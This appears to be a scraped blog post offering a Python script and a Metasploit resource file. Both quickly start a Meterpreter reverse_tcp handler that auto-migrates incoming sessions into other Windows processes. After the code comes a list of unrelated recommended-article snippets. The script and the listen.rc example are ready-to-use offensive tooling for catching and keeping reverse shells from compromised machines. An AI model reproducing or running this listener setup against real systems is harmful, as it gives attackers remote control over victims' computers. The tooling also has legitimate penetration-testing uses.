Quickly Start Listener scripts
#!/usr/bin/python
#
# StartListener.py
# Simple python script to start a Meterpreter Listener
# Auto Inject to other process
# github: https://raw.github.com/obscuresec/random/master/StartListener.py
import sys
import subprocess
#write a resource file and call it
def build(lhost,lport):
options = "use exploit/multi/handler\n"
options += "set payload windows/meterpreter/reverse_tcp\nset LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
options += "set ExitOnSession false\nset AutoRunScript post/windows/manage/smart_migrate\nexploit -j\n"
filewrite = file("listener.rc", "w")
filewrite.write(options)
filewrite.close()
subprocess.Popen("/usr/share/metasploit-framework/msfconsole -r listener.rc", shell=True).wait() #grab args
try:
lhost = sys.argv[1]
lport = sys.argv[2]
build(lhost,lport) #index error
except IndexError:
print "python StartListener.py lhost lport"
A easy but useful script. It create a file of metaspolit and load it to start a listener quickly.
You can change the listener type you what.
Before using it, you may also have to change the path of msfconsole file.
If you installed the metaspolit-framework on you system, you can use "/usr/bin/msfconsole"


You can also create a file, such as "listen.rc"
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.150
set LPORT
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate
exploit -j
Then,use it to start a listen.
msfconsole -r listen.rc


Quickly Start Listener scripts的更多相关文章
- Windows API Hooking in Python
catalogue . 相关基础知识 . Deviare API Hook Overview . 使用ctypes调用Windows API . pydbg . winappdbg . dll inj ...
- Oracle Apps DBA 常用命令
数据库启动监听 addlnctl.sh start instance 启动数据库 addbctl.sh start 启动应用服务器 adstrtal.sh 停止应用服务器 adstpall.sh -- ...
- php monolog 的写日志到unix domain socket 测试终于成功
在另外一个客户端执行 php s.php后, 通过nc -lU /tmp/tg.sck 建立的unix domain socket 有接收到消息. <?php require 'vendor/a ...
- 使用可移动表空间(TTS)的最佳做法 (Doc ID 1457876.1)
Best Practices for Using Transportable Tablespaces (TTS) (Doc ID 1457876.1) APPLIES TO: Oracle Datab ...
- 修改Oracle XE Listener 占用的1521、8080端口
修改Oracle XE Listener 占用的1521.8080端口今天在帮开发人员Demon安装oracleXE时,有这么一段提示: [sql] Destination Folder: D:\ ...
- Oracle Listener
一.监听器功能 1)监听客户端请求:监听器作为独立进程运行在数据库服务器上,监听特定网络端口(默认1521)服务请求. 2)为客户端请求分配oracle Server Process:监听器不直接处理 ...
- [NPM] List available npm scripts and support tab completion
In this lesson we will look at different ways you can list the available npm scripts. Whether we wan ...
- JavaWeb——Listener
一.基本概念 JavaWeb里面的listener是通过观察者设计模式进行实现的.对于观察者模式,这里不做过多介绍,大概讲一下什么意思. 观察者模式又叫发布订阅模式或者监听器模式.在该模式中有两个角色 ...
- 严重: Exception sending context initialized event to listener instance of class
问题描述:Exception sending context initialized event to listener instance of class org.springframework.w ...
随机推荐
- C#开发学习——常用的正则表达式
对于想学习正则表达式的童鞋,一些基础的语法啥的,可以参考 http://www.cnblogs.com/China3S/archive/2013/11/30/3451971.html 下边是一些我们常 ...
- 详解一下网络广告cpc、cpm、cpl、cpa、cps、cpr的计费方法是什么
CPC(Cost per click)按照 广告 点击数 计费 ,限定一个IP在24小时内只能点击一次.CPM(Cost per mille)按照广告显示次数来计算广告费,可在短时间内为 网站 带来巨 ...
- js-时间函数相互转化
1.日期函数 获取当前时间对象 var date = new Date(); 2.日期函数 => 时间对象 (yyyy-mm-dd hh:mi:ss => 时间对象) endLogTime ...
- 【锋利的Jquery】读书笔记七
第七章 jquery插件 管理cookie的插件--cookie jquery插件太多没什么好讲的,百度太多 说以下 cookie插件 <!DOCTYPE html> <html& ...
- UVa 1395 Slim Span
问题:给出一个n结点的图,求最大边与最小边差值最小的生成树 my code: #include <iostream> #include <cstdio> #include &l ...
- [转]Numpy使用MKL库提升计算性能
from:http://unifius.wordpress.com.cn/archives/5 系统:Gentoo Linux (64bit, Kernel 3.7.1)配置:Intel(R) Cor ...
- Passing Reference by value
今天查bug的时候,遇到一个问题,一个Dictionary<int[],string>数据结构,在使用key取它的value时: var tempVar = _dic[key]; 发生崩溃 ...
- svg图片转换为WEB字体图标
今天我学会了使用字体制作网站 icomoon.io 制作web文本图标.跟我一起学习吧! (1)字体制作网站 icomoon.io 点击 icomoon APP ---> imp ...
- USACO 3.2 Stringsobits
StringsobitsKim Schrijvers Consider an ordered set S of strings of N (1 <= N <= 31) bits. Bits ...
- Mysql开机启动,CentOS6.5
使用chkconfig命令,步骤如下: 将服务文件拷贝到init.d下,并重命名为mysql cp /usr/local/mysql/support-files/mysql.server /etc/i ...